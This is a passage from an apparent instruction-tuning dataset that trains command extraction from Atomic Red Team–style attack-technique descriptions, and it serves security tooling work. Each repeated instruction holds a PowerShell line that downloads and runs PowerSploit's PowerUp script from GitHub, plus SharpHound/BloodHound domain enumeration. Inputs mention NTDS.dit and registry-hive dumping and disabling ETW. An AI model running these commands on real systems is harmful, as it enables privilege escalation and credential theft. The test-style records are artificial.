{\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n After execution the new account will be active and added to the Administrators group", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Executes powershell.exe with variations of the -EncodedCommand parameter with encoded arguments supplied", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Enumerate Domain Shares the current user has access. Upon execution, progress info about each share being scanned will be displayed.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Adversaries may attempt to get a listing of non-security related software that is installed on the system. Adversaries may use the information from Software Discovery during automated discovery to shape follow-on behaviors\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This test is intended to be run on a domain Controller.\n\nThe Active Directory database NTDS.dit may be dumped by creating a symlink to Volume Shadow Copy.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n When C# is compiled dynamically, a .cmdline file will be created as a part of the process. \nCertain processes are not typically observed compiling C# code, but can do so without touching disk. This can be used to unpack a payload for execution.\nThe exe file that will be executed is named as T1027.004_DynamicCompile.exe is contained in the 'bin' folder of this atomic, and the source code to the file is in the 'src' folder.\nUpon execution, the exe will print 'T1027.004 Dynamic Compile'.\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n GUP is an open source signed binary used by Notepad++ for software updates, and can be used to download arbitrary files(.zip) from internet/github.\n[Reference](https://x.com/nas_bench/status/1535322182863179776?s=20)\nUpon execution, a sample zip file will be downloaded to C:\\Temp\\Sample folder", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Disables ETW for the .NET Framework by setting the COMPlus_ETWEnabled environment variable to 0 in the HKLM registry using the reg.exe utility. In order for changes to take effect a reboot might be required.", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Dump hives from volume shadow copies with System.IO.File. [CVE-2021-36934](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-36934)\n", "output": "{\"command_list\": []}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the 